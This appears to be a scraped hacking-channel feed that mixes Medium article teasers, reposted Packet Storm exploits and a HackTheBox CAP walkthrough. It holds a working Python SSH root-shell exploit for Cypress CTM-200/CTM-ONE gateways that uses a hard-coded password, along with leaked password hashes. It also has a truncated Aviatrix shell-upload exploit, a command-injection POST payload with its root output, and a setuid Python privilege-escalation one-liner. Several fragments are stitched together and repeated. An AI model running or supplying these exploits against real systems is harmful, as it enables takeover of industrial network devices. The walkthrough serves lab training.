Hacking on Medium
My journey so far and how I got into hacking

Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers’ use of Swift network means banks worldwide need deeper layers of security defense

A NUMBER OF HIGH-PROFILE — AND HIGH COST — CYBER HEISTS THAT LEVERAGED THE INTERNATIONAL SWIFT NETWORK TO EXECUTE LARGE-SCALE FRAUDULENT…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Crean un algoritmo “consciente de sí mismo” para protegerse de ciberataques

https://cdn-images-1.medium.com/max/1571/0*PADBcxkVEXD-a8Ow
PUBLICADO EN 11 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

A Tale of Weird XSS into $100

Hey Guys , How are you all ? . I hope so your doing good and healthy . So, Lets get started . So , I started searching for bugbounty…Continue reading on Medium »
Read more...

Exploit Collector
Cypress Solutions CTM-200/CTM-ONE Hard-Coded Credentials Remote Root

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png Cypress Solutions CTM-200/CTM-ONE suffers from a hard-coded credential remote root vulnerability via telnet and ssh.

MD5 | 4dc0da6ff777de3e071d0c7c9de1dabaDownload #!/usr/bin/env python3
#
#
# Cypress Solutions CTM-200/CTM-ONE Hard-coded Credentials Remote Root (Telnet/SSH)
#
#
# Vendor: Cypress Solutions Inc.
# Product web page: https://www.cypress.bc.ca
# Affected version: CTM-ONE (1.3.6-latest)
# CTM-ONE (1.3.1)
# CTM-ONE (1.1.9)
# CTM200 (2.7.1.5659-latest)
# CTM200 (2.0.5.3356-184)
#
# Summary: CTM-200 is the industrial cellular wireless gateway for fixed
# and mobile applications. The CTM-200 is a Linux based platform powered
# by ARM Cortex-A8 800 MHz superscalar processor. Its on-board standard
# features make the CTM-200 ideal for mobile fleet applications or fixed
# site office and SCADA communications.
#
# CTM-ONE is the industrial LTE cellular wireless gateway for mobile and
# fixed applications. CTM-ONE is your next generation of gateway for fleet
# tracking and fixed sites.
#
# ======================================================================
# CTM-200
# /var/config/passwd:
# -------------------
# root:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# admin:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# nobody:*:65534:65534:nobody:/var:/bin/false
# daemon:*:65534:65534:daemon:/var:/bin/false
#
# /var/config/advanced.ini:
# -------------------------
# 0
# 0
# Chameleon
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
#
#
# CTM-ONE
# /etc/shadow:
# ------------
# admin:$6$l22Co5pX$.TzqtAF55KX2XkQrjENNkqQfRBRB2ai0ujayHE5Ese7SdcxkXf1EPQqDv3/d2u3D/OHlgngU8f9Pn5.gO61vx/:17689:0:99999:7:::
# root:$6$5HHLZqFi$Gw4IfW2NBiwce/kMpc2JGM1byduuiJJy/Z7YhKQjSi4JSx8cur0FYhSDmg5iTXaehqu/d6ZtxNZtECZhLJrLC/:17689:0:99999:7:::
# daemon:*:16009:0:99999:7:::
# bin:*:16009:0:99999:7:::
# sys:*:16009:0:99999:7:::
# ftp:*:16009:0:99999:7:::
# nobody:*:16009:0:99999:7:::
# messagebus:!:16009:0:99999:7:::
# ======================================================================
#
# Desc: The CTM-200 and CTM-ONE are vulnerable to hard-coded credentials
# within their Linux distribution image. This weakness can lead to the
# exposure of resources or functionality to unintended actors, providing
# attackers with sensitive information including executing arbitrary code.
#
# Tested on: GNU/Linux 4.1.15-1.2.0+g77f6154 (arm7l)
# GNU/Linux 2.6.32.25 (arm4tl)
# lighttpd/1.4.39
# BusyBox v1.24.1
# BusyBox v1.15.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2021-5686
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5686.php
#
#
# 21.09.2021
#

import sys
import paramiko

bnr='''
o ┌─┐┌┬┐┌─┐ ┌─┐ ┬─┐┌─┐┌─┐┌┬┐┌─┐┬ ┬┌─┐┬ ┬ o
│ │││││ ┬ ├─┤ ├┬┘│ ││ │ │ └─┐├─┤├┤ │ │
o └─┘┴ ┴└─┘ ┴ ┴ ┴└─└─┘└─┘ ┴ └─┘┴ ┴└─┘┴─┘┴─┘ o
'''
print(bnr)

if len(sys.argv)
print('Put an IP.')
sys.exit()

adrs=sys.argv[1]##
unme='root'#admin#
pwrd='Chameleon'##

rsh=paramiko.SSHClient()
rsh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
rsh.connect(adrs,username=unme,password=pwrd)

while 1:
cmnd=input('# ')
if cmnd=='exit':
break
stdin,stdout,stderr=rsh.exec_command(cmnd)
stdin.close()
print(str(stdout.read().decode()))
rsh.close() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aviatrix Controller 6.x Path Traversal / Code Execution

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Aviatrix Controller versions 6.x prior to 6.5-1804.1922 shell upload exploit that leverages a directory traversal vulnerability.

MD5 | c9d98e50193dc69bebb982a539da15c7

Download
#!/usr/bin/env python3
import requests
from requests.structures import CaseInsensitiveDict
from colorama import Fore, Style
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print(f"""

░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ▄█─ ── ─█▀█─ █▀▀█ ▄▀▀▄ ▄▀▀▄ █▀▀█
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ ─█─ ▀▀ █▄▄█▄ █▄▀█ ▄▀▀▄ █▄▄─ █▄▀█
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ▄█▄ ── ───█─ █▄▄█ ▀▄▄▀ ▀▄▄▀ █▄▄█
Author : 0xJoyGhosh
Org : System00 Security
Twitter: @0xjoyghosh

""")
try:
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Enter Target Url With scheme Ex: -u https://avaitix.target.com", type=str)
parser.add_argument("-c", "--code", help="Enter php code Ex: -c '
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png Cypress Solutions CTM-200 wireless gateway version 2.7.1 suffers from an authenticated semi-blind OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the 'ctm-config-upgrade.sh' script leveraging the 'fw_url' POST parameter used in the cmd upgreadefw as argument, called by ctmsys() as pointer to execv() and make_wget_url() function to the wget command in /usr/bin/cmdmain ELF binary.

MD5 | 5443c1ca578d802c9f7cf55428781490Download Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection
Vendor: Cypress Solutions Inc.
Product web page: https://www.cypress.bc.ca
Affected version: 2.7.1.5659
2.0.5.3356-184

Summary: CTM-200 is the industrial cellular wireless gateway for fixed and mobile applications.
The CTM-200 is a Linux based platform powered by ARM Cortex-A8 800 MHz superscalar processor.
Its on-board standard features make the CTM-200 ideal for mobile fleet applications or fixed site
office and SCADA communications.

Desc: The CTM-200 wireless gateway suffers from an authenticated semi-blind OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user
through the 'ctm-config-upgrade.sh' script leveraging the 'fw_url' POST parameter used in the cmd
upgreadefw as argument, called by ctmsys() as pointer to execv() and make_wget_url() function to
the wget command in /usr/bin/cmdmain ELF binary.

================================================================================================
/www/cgi-bin/webif/ctm-config-upgrade.sh:
-----------------------------------------

136: if ! empty "$FORM_install_fw_url"; then
137: echo ""
138: echo "
Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!
"
139: cmd upgradefw "$FORM_fw_url"
140: unset FORM_install_fw_url FORM_submit
141: echo "
Done."
142: fi
==================================================================
cmdmain (ELF):

memset(&DAT_0003bd1c,0,0x80);
make_wget_url(*ppcVar9,&DAT_0003bd9c,&DAT_0003bdbc,&DAT_0003bd1c);
sprintf(local_184,"%s%s -O /tmp/%s",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
*(undefined4 *)(iParm2 + 8));
ctmsys(local_184);
sprintf(local_184,"/tmp/%s",*(undefined4 *)(iParm2 + 8));
iVar3 = ctm_fopen(local_184,"r");
if (iVar3 == 0) {
uVar5 = *(undefined4 *)(iParm2 + 8);
__s = "vueclient -cmdack \'confupgrade:%s FAIL DOWNLOAD\' &";
goto LAB_0001f4a8;
}
ctm_fclose();
memset(local_184,0,0x100);
sprintf(local_184,"%s%s.md5 -O /tmp/%s.md5",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
*(undefined4 *)(iParm2 + 8));
ctmsys(local_184);
=================================================================
cmd (ELF):

while (sVar1 = strlen(__s2), uVar7 < sVar1) {
__s2[uVar7] = *(char *)(__ctype_tolower + (uint)(byte)__s2[uVar7] * 2);
__s2 = *ppcVar8;
uVar7 = uVar7 + 1;
}
uStack180 = 0x7273752f;
uStack176 = 0x6e69622f;
uStack172 = 0x646d632f;
uStack168 = 0x6d632f73;
uStack164 = 0x69616d64;
uStack160 = 0x6e;
uStack159 = 0;
iVar2 = execv((char *)&uStack180,ppcParm2);
================================================================================================

Tested on: GNU/Linux 2.6.32.25 (arm4tl)
BusyBox v1.15.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5687
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php
21.09.2021

--
PoC POST request:
-----------------

POST /cgi-bin/webif/ctm-config-upgrade.sh HTTP/1.1
Host: 192.168.1.100
Connection: keep-alive
[...]

___________________________
@hacking_Attack
@Hacking_Video

Content-Length: 611
Cache-Control: max-age=0
Authorization: Basic YWRtaW46Q2hhbWVsZW9u
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZlABvwQnpLtpe9mM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://173.182.107.198/cgi-bin/webif/ctm-config-upgrade.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: style=null
sec-gpc: 1

------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="submit"

1
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="upgradefile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="fw_url"

`id`
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="install_fw_url"

Start Firmware Upgrade from URL
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="pkgurl"
------WebKitFormBoundaryZlABvwQnpLtpe9mM--
Response:
---------

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Pragma: no-cache
...
...
Firmware Management

Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!
Saving configuration ...
downloading firmware image: gid=0(root)/uid=0(root).tar
found image:
extracting image files
Verifying checksum of downloaded firmware image
Image checksum failed
OK

Done.
...
...
Proceed Changes
* » Save Configuration « X-WrtEnd user extensions for OpenWrt Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
CAP HacktheBox Walkthrough

Today CAP – HTB machine will be our target. We will categorize this lab in the beginner's section to capture the flag. Here, we are going to learn about the capability binary approach of privilege escalation. Let's take a deep dive.

Penetration Testing MethodologyReconReconThe first thing always comes to mind is of doing Reconnaissance. Let’s start with the NMAP scan.Nmap –A 10.129.231.234https://blogger.googleusercontent.com/img/a/AVvXsEjfo01PNJAne_9ZswpkUXhYH-1XGE0gOEPR7ji-5-oojur0Rjt5imGCPV7l8AcHBs8s9E5b4DPD9K3D5tcwQSFLoFeA1wPxDwhyRe-5m2H_Y-TpCAvKrpM9LygccibdexmSjaTvesaxIttOMgMDF9ksMndn-882hDGuE-ilQK2da7UQRnqZM-YhZTxfaA=s16000 The scan result of NMAP shows that there are three important open ports i.e.  Port 21 –FTP service having vsftpd 3.0.3 version, Port 22 –SSH version 8.2p1, and Port 80- HTTP serviceEnumerationNow we investigate port 80 in a web browser which displays an interesting dashboard of monitoring results of security events. On the left-hand panel, there are four options mentioned as Dashboard, Security Snapshot (5second PCAP +Analysis), IP config, and Network status. Out of the four options, PCAP i.e. packet capture, the analysis looks interesting which contains the number of packets of TCP and UDP. After directory enumeration, we download the data 0 .pcap file. http://10.129.231.234/data/0https://blogger.googleusercontent.com/img/a/AVvXsEhvz7kuED4R312A1BawT_yNQht0aoE-JSx-NVLYEuNzYdgsrhRKHuMET2rcDPB3iCbFB_fKxXilEPpCXt6S9Two2dX-ZGTHIK_Zpca7sOj13RwV3VxefL0wM60P6unXF8GTWixX9m2zgDGeI97ugyXZu0ErwsKduLAbUbwEYnU9zj7tPbRb-e3cOOjWFg=s16000 The above-downloaded file we analyzed into Wireshark and filter out the FTP Protocol whose result display the credentials into clear text, below are the credentials are mentioned:Ssh nathan@10.129.231.234https://blogger.googleusercontent.com/img/a/AVvXsEjrLm1FE8d26yTEzkgK0dNtlRU8zeUaq6X8xPtAkEZpvniK9v0DpZRWO_ali6UaBA2NXdSRDxdiqhCGq3_QuNSSsNhKih0mLWjuaILHKe_oN-dwHXi2rbUVSYX3Ay2GxE5ofk0pB97xzhsR4QcQRO75Ucsete6B0QClL7H7YLzZV6bdnhCTUckBfCbeSQ=s16000 Privilege EscalationTo enumerate the HTB machine and escalate privileges, we'll utilize the LinPEAS post-exploitation script.Ls We already had the script on the Kali machine, so we host it on port 80 and then will download it using wget from the /tmp directory on the htb machine. Now we give it the necessary execution rights, and then we [...]

___________________________
@hacking_Attack
@Hacking_Video

run LinPEAS.Cd /tmp /linpeas.shhttps://blogger.googleusercontent.com/img/a/AVvXsEgmwIGzpxPQTLADlrR_aFwsK2nlLnYx_vkwUnxfICIDvYceNpTeDu0f8niW15BDLDOrPM0-WWP60k3THoYOD--MxnJMtLQgqnCM_nCmjtxPWdeGXPt5rDz4zTGBgaoC3g4oATjVEROGj0dJan_Q4Oj7cct30e4Mt1-MHiYJudX8scODCcFxkt6Tz_LLKg=s16000 For the Privilege Escalation section, the LINPEAS result reveals an interesting finding concerning cap setuid on Python 3.8's binary, which is how the machine got its name.python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' Finally we capture the root flag.___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
CAP HacktheBox Walkthrough

Today CAP – HTB machine will be our target. We will categorize this lab in the beginner’s section to capture the flag. Here, we are going to learn about the capability binary approach of privilege escalation. Let’s take a deep dive. Penetration Testing Methodology  Recon Nmap Enumeration Web Enumeration Wireshark

The post CAP HacktheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

A Tale of Weird XSS into $100
https://medium.com/@nithissh/a-tale-of-weird-xss-into-100-4cd451fe79d4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey Guys , How are you all ? . I hope so your doing good and healthy . So, Lets get started . So , I started searching for bugbounty…Continue reading on Medium » (https://medium.com/@nithissh/a-tale-of-weird-xss-into-100-4cd451fe79d4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video